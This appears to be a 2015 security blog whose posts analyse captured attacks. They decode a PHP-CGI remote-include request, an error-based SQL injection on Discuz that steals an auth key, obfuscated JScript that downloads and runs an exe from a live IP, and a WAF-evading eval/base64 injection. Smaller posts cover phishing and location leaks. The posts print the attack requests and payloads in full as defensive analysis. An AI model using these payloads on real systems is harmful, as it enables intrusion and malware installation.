Monday, November 30, 2015

php injection sending email

I saw this php injection attempt that I thought was interesting.

GET /?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://netsunucum.com/status/-/d.txt


The attempt is looking for mis-configured insecure PHP web servers. Looking for ones that will give the ability to enable url includes and then automatically prepend the file. When I downloaded the malicious payload file url ( hxxp://netsunucum.com/status/-/d.txt [see at urlquery] ) I found this which was also interesting.

SP4M3R
<?php
$from = "INBOX <h4x0r@r0x.com">";
$sentTo = "vaidominio2@gmail.com";
$subject = "VULN r0x";
$msg_body = "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
$header_info = "From: ".$from;
mail($sentTo, $subject, $msg_body, $header_info);
?>


If the php web server is vulnerable, then this php file above will get auto-included and pre-pended to the current php page, thus getting executed. When it's executed it actually uses PHP mail to send an email to the attacker's gmail account if the server it hit was vulnerable. The attacker at vaidominio2@gmail.com will get an email indicating that the server name in the body is vulnerable to the php injection.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Discuz SQLi Duplicate entry for key

Saw this sql injection attempt likely related to the Discuz! Internet Forum software probably from earlier this year. I think it may come from a PoC like this. Here's the attack seen. POST /faq.php

action=grouppermission
gids[99]='
gids[100][0]=) and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#


The vulnerability is apparently in unsanitized parameter gids. Let's quickly breakdown what the attacker is attempting to do when taking advantage of the vuln. If you rip the sql statement apart, the first portion (deepest nested) actually getting executed is ...

select substr(authkey,1,62) from cdb_uc_applications limit 0,1


Which is saying select the first 62 characters of the authorization key found in the cdb_uc_applications table. This appears to be where the php myadmin authorization key is stored that can be used as we'll see later on to login and administrate the server. The query limits the results to only returning 0 or 1 authorization keys, nothing more. Then the next command is executed on the results

select count(*),concat( ( RESULT ABOVE ) ) ,floor(rand(0)*2) x from information_schema.tables group by x


Which is essentially appending a random 0 or 1 to the authorization key. The attacker will be able to simply drop off that random number and still have the original authorization key. It prints out the same authorization key and 0/1 many times. It actually prints it out once for every table in the database. Then below it'll finish off.

select 1 from ( RESULT ABOVE ) a


by printing the number '1' (literally the number 1) and then

) and ( RESULT ABOVE ) #

comment out (hash symbol) the rest of the sql statement to finish off the sql injection.

So now you might be scratching your head? If the final results was just the number '1', then did anything actually occur? Was any information leaked? Actually yes. Since it attempts to print out the same authorization key and appended 0/1 in a group by statement, it's actually going to fire a database duplicate key error message. Duplicate entry Duplicate entry 'root*309B17546BD34849D627A4DE183D3E35CD939E68 1' for key. And the attacker is banking on the fact that the error message will get displayed back onto the page, thus he's able to exfiltrate data from a mysql table via an error message. Pretty clever!

The github exploit linked above shows how this is utilized then ...

content = response.read()
reg = re.compile('Duplicate entry \'1\^(.*?)\' for key')
res = reg.findall(content)


You can see above that they use a regular expression to look for the error message in the http response. They pull out with the \1 the original authorization key.

cls.get_shell(args['options']['target'], uc_key, args['options']['target'])
args['result']['webshell'] = args['options']['target'] + '/config.inc.php'


Then they end up turning around and passing the authorization key (uc_key) back to the config.inc.php (phpMyAdmin's configuration file) to complete they're exploit and own the server. The attack post was here.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Wednesday, November 25, 2015

Malicious Javascript Walk-thru

Saw this malicious obfuscated javascript and though it was worth a walk-thru. It starts as this ugly mess. (
  function (olcdENyNGCBd) {
   function kKVXeV(msezIazw) {
    return new olcdENyNGCBd.ActiveXObject(msezIazw)
   }
   var kMFFvyAqh = true, mEwAroXP = ("B.St"+(221404, "ream"));
   var kbtEwr;
   kbtEwr = function (CJxJzZ, XuSlNgfI, SoRNuldTayYND) {
   tbWEefAFUAZSaO=((1/*s987111nuM69919eOiZ*/)?"WScri":"")+"pt.Shell";
   var CCPoAXzX = kKVXeV(tbWEefAFUAZSaO);
   var pPDVaIAYVOIp = "2.XMLHTTP";
   var CtsZjtNlqpP = kKVXeV("MSXML"+(381144, pPDVaIAYVOIp));
   var tndpSoRVjetRf = "%TEMP%\\";
   var bIVrpPKIHb = CCPoAXzX["Expa"+/*s925956nM261933eOZ*/"ndEnvironmentStrings"](tndpSoRVjetRf)
   var XuSlNgfI = bIVrpPKIHb +(437532602659, XuSlNgfI);
   CtsZjtNlqpP.onreadystatechange = function (){
    if (CtsZjtNlqpP.readyState == 4){
     kMFFvyAqh = false;
     with(kKVXeV("ADOD" + mEwAroXP)){
      open();
      type = 1;
      write(CtsZjtNlqpP.ResponseBody);
      saveToFile(XuSlNgfI, 2);
      close();
      return XuSlNgfI;
     }
    }
   }
   CtsZjtNlqpP.open("G" + (3828034, 4609216, /*dca645894zYtzkrxTK747381IlaIWQJrHGjLqXIjNQmXamgjYPW*/ "ET" /*dcazYtzkrx637703TKIlaIWQJr683091HGjLqXIjNQmX29671amgjYPW*/), CJxJzZ, false);
   CtsZjtNlqpP.send();
   yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
   while (kMFFvyAqh) {yimseHvs}
   if (((new Date())>0,1656))
    CCPoAXzX.Run(XuSlNgfI, 0, 0);
   }
   XkpYNx = "h";
   XkpYNx += "t"; /*XkpYNxCtsZjtNlqpPkKVXeV*/
   XkpYNx += "tp";
   kbtEwr(XkpYNx + "://" + "46.30.45.73/mert.e"+"x"+"e", "115987449.exe", 1);
  }
)
(this) /*507952955735917811792346152771*/


I can quickly make it prettier by removing the comments, removing the unnecessary concatenations, removing the unncessary conditionals, and replacing the unnecessary variables with their values.

(
  function (olcdENyNGCBd) {
   var kMFFvyAqh = true;
   var kbtEwr = function () {
    var CCPoAXzX = olcdENyNGCBd.ActiveXObject("WScript.Shell");
    var CtsZjtNlqpP = olcdENyNGCBd.ActiveXObject("MSXML2.XMLHTTP"));
    var bIVrpPKIHb = CCPoAXzX["ExpandEnvironmentStrings"]("%TEMP%\\")
    var XuSlNgfI = bIVrpPKIHb +"115987449.exe";
    CtsZjtNlqpP.onreadystatechange = function (){
     if (CtsZjtNlqpP.readyState == 4){
      kMFFvyAqh = false;
      with(olcdENyNGCBd.ActiveXObject("ADODB.Stream")){
       open();
       type = 1;
       write(CtsZjtNlqpP.ResponseBody);
       saveToFile(XuSlNgfI, 2);
       close();
       return XuSlNgfI;
      }
     }
    }
    CtsZjtNlqpP.open("GET" ), "http://46.30.45.73/mert.exe", false);
    CtsZjtNlqpP.send();
    yimseHvs = olcdENyNGCBd.WScript.Sleep(1100)
    while (kMFFvyAqh) {
    yimseHvs
   }
   CCPoAXzX.Run(XuSlNgfI, 0, 0);
  }
  kbtEwr();
  }
)
(this)


Then I can remove the ugly obfuscated variables with things that have more meaning to me, also eliminate the wrapper function call that wasn't necessary.

var isExeStillDownloading = true;
var shellPrompt = this.ActiveXObject("WScript.Shell");
var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));
var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")
var payloadDestination = tempFolderPath +"115987449.exe";
webRequest.onreadystatechange = function (){
  if (webRequest.readyState == 4){
   isExeStillDownloading = false;
   with(this.ActiveXObject("ADODB.Stream")){
    open();
    type = 1;
    write(webRequest.ResponseBody);
    saveToFile(payloadDestination, 2);
    close();
    return payloadDestination;
   }
  }
}
webRequest.open("GET" ), "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
  this.WScript.Sleep(1100)
}
shellPrompt.Run(payloadDestination, 0, 0);


Wow, that looks much more readable! Let's go through line by line now.

var isExeStillDownloading = true;



This variable will be set to true until the EXE is downloaded from the website and then it's set to false.

var shellPrompt = this.ActiveXObject("WScript.Shell");



This variable will hold the ActiveX object that allows the attacker to interact with the command prompt on the windows box.

var webRequest = this.ActiveXObject("MSXML2.XMLHTTP"));



This variable will hold the ActiveX object that allows the attacker to make web requests to download a file.

var tempFolderPath = shellPrompt["ExpandEnvironmentStrings"]("%TEMP%\\")



This variable will hold the windows temp folder path (that he got from using the command prompt variable above). Why does he care about the temp folder? Because it's one place he's almost guaranteed to have write access to so he can download, save, and run a file from it.

var payloadDestination = tempFolderPath +"115987449.exe";



This variable will hold the final destination for the malicious executable the attacker is trying to download to the machine and run.

webRequest.onreadystatechange = function (){
  if (webRequest.readyState == 4){
isExeStillDownloading = false;


This code starts a listener (basically a function that does not get executed until a specific event happens). In this case the listener is on the web request (the file download). The function will get called once the state of the object changed. If the state is changed to 4 (which means request COMPLETED) then this function gets called and the first thing it does is change the variable used above to indicate that the download is complete.

with(this.ActiveXObject("ADODB.Stream")){



This code then creates an ActiveX object that is used to save the downloaded file to the file system on the windows box in the temp folder.

open();
type = 1;
write(webRequest.ResponseBody);
saveToFile(payloadDestination, 2);
close();


Then the ActiveX object above is actually used to write the web request to a file in the temp folder and then save it to disk.

webRequest.open("GET" , "http://46.30.45.73/mert.exe", false);
webRequest.send();
while (isExeStillDownloading) {
  this.WScript.Sleep(1100)
}


Kinda difficult maybe to understand at first, but the listener described in the previous sections wasn't actually executed yet. But now, with the lines above, the web request is used to call for the primary payload (mert.exe). Then the code sits and loops, sleeping, doing nothing until the file completes it's download. One the download is complete, the listener described earlier is called, it sets that variable to false saying that the download is complete, and then it exits the sleeping loop.

shellPrompt.Run(payloadDestination, 0, 0);



The final step is then for the attacker to use the shell prompt to execute the malicious exe that he just downloaded and saved to disk. Say bye-bye to your pc because it's now under his control not yours.





More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

Monday, November 23, 2015

More PHP Injection Obfuscation walk-thru

Been blogging about a few PHP injection attempts recently [1], [2]. Here's php injection I pasted that was unique in it's obfuscation method.

POST/plus/mytag_js.php?aid=8080
values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));
z0=MjgxMDAzO0......ik7ZGllKCk7
z9=BaSE64_dEcOdE


Let's walk through this line by line again.

POST/plus/mytag_js.php?aid=8080

The above is simply saying it's a post to an existing PHP page. I don't believe that this is related in any way really to the exploit.

values=@eval/*[[#21]]™Ð![[#3]][[#25]]s [[#11]]˨Ýã£ÅÄ»ÅÎ*/[[#1]](${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/[[#1]](${'_POS'.'T'}[z0]));


The above code is where it gets interesting. Now first let's take time to notice that there are lots of WAF (web application firewall) evasion techniques listed above. Basically a WAF would be smart enough to detect this attack with no obfuscation, so the attacker must resort to applying multiple layers of obfuscation in hopes that the WAF isn't smart enough and lets some of these requests got through. In the above instance the first thing I'll point out is the attempt to obfuscate code by adding random lines of comments (code that does not get executed) in. This may confuse the WAF, especially if it has special unicode characters like it does, into erroring out or failing to parse the rest of the attack. I colored in red the comments that for our analysis purposes actually do nothing and can be removed.

values=@eval[[#1]](${'_P'.'OST'}[z9][[#1]](${'_POS'.'T'}[z0]));


After removing the comments we're left with this above.

values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));


Now the previous code has some string concatenations ('.') that could be removed again to make it easier to read.

values=@eval[[#1]](${'_POST'}[z9][[#1]](${'_POST'}[z0]));


In addition, the square brackets '[]' are arrays, and they're again used to simply obfuscate some other values. The [[#1]] is actually just an empty array containing the comment (hash symbol) and the comment text 1, so it can safely be removed without any impact as it doesn't do anything.

values=@eval(${'_POST'}[z9](${'_POST'}[z0]));


Also the ${''} syntax is just another way to reference a variable, thus ${'_POST'} is equivalent to $_POST and can be rewritten as such.

values=@eval($_POST[z9]($_POST[z0]));


Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0 into the value.

values=@eval(BaSE64_dEcOdE(MjgxMDAzO0......ik7ZGllKCk7));


Then we can do some substitution, since $_POST means to grab the value of a post parameter, we can insert z9 and z0's values into the above code. Now we're getting somewhere.

values=@eval(base64_decode(MjgxMDAzO0......ik7ZGllKCk7));


Case doesn't really matter in php function naming so to make it easier rewrite BaSE64_dEcOdE as base64_decode

values=@eval(281003;@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$root=isset($_SERVER['DOCUMENT_ROOT'])?$_SERVER['DOCUMENT_ROOT']:(isset($_SERVER['APPL_PHYSICAL_PATH'])?trim($_SERVER['APPL_PHYSICAL_PATH'],"\\"):(isset($_['PATH_TRANSLATED'])?str_replace($_SERVER["PHP_SELF"]):str_replace(str_replace("/","\\",isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:(isset($_SERVER["URL"])?$_SERVER["URL"]:$_SERVER["SCRIPT_NAME"])),"",isset($_SERVER["PATH_TRANSLATED"])?$_SERVER["PATH_TRANSLATED"]:$_SERVER["SCRIPT_FILENAME"])));$R="{$D}|".$root."|";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="|";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die(););


Then let's perform the actual base64 decoding of the large string to get figure out what they're really trying to do. Oh gee, looks like what I was blogging about the other day. Kinda interesting though how even though it's the same attack, on the outside it looked TOTALLY DIFFERENT until we did the manual unraveling of the obfuscation.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

DHL Phishing

I saw this article last week about how Phishers are targeting millions of DHL customers. "The phishers are obviously after the users' DHL account password, i.e. all the personal information they can get from the account".

Thought it was timely considering I pasted recently a few DHL Phish samples [1], [2], [3] on pastebin.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

iPhone Location Services are Scarey

I recently came across just by happen-stance a request made from the SpeedTest 3.6.1 application. This application has legitimate purposes and there is nothing wrong with it if you know what you're agreeing to. But what I thought was slightly disturbing, and I'm sure this exists on tons and tons of other iPhone apps as well, is that in plain text in the URL as a query string parameter, the exact GPS location (latitude and longitude) of your phone is sent out. I confirmed this works, and was able to track the phone to the exact building and get a pic from google earth. Plus I now know the exact version of the phone and it's operating system. Freaky. It's like straight out of CSI Cyber :-P Protect that data developers!

Sample url:

  hxxp://www.speedtest.net/api/ios-config.php?&carrier=REDACTED&connection=2&configConnType=LTE&model=iPhone7%2C2&version=8.4.1&appversion=3.6.1.12&serverid=-1&lat=REDACTED&lon=REDACTED



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.

LinkedIn Resolves XSS in 3 hours

A long while back I wrote a blog expressing my opinion that Agile is better for security than waterfall. The company LinkedIn gave a good example of that this past week. Per this article about an XSS vulnerability they recently resolved, "Dua alerted the company of the bug shortly after 11 p.m. on Monday, and according to his disclosure timeline, LinkedIn implemented a fix shortly after 2 a.m. on Tuesday.".

Now that's quick turn-around! You aren't able to consistently do that successfully unless you're comfortable with moving fast, coding fast, and testing fast. But if you're good at moving fast like that, I believe your site is going to end up much more secure.



More about neonprimetime


Top Blogs of all-time
  1. pagerank botnet sql injection walk-thru
  2. php injection walk-thru
  3. vbulletin rce walk-thru


Copyright © 2015, this post cannot be reproduced or retransmitted in any form without reference to the original post.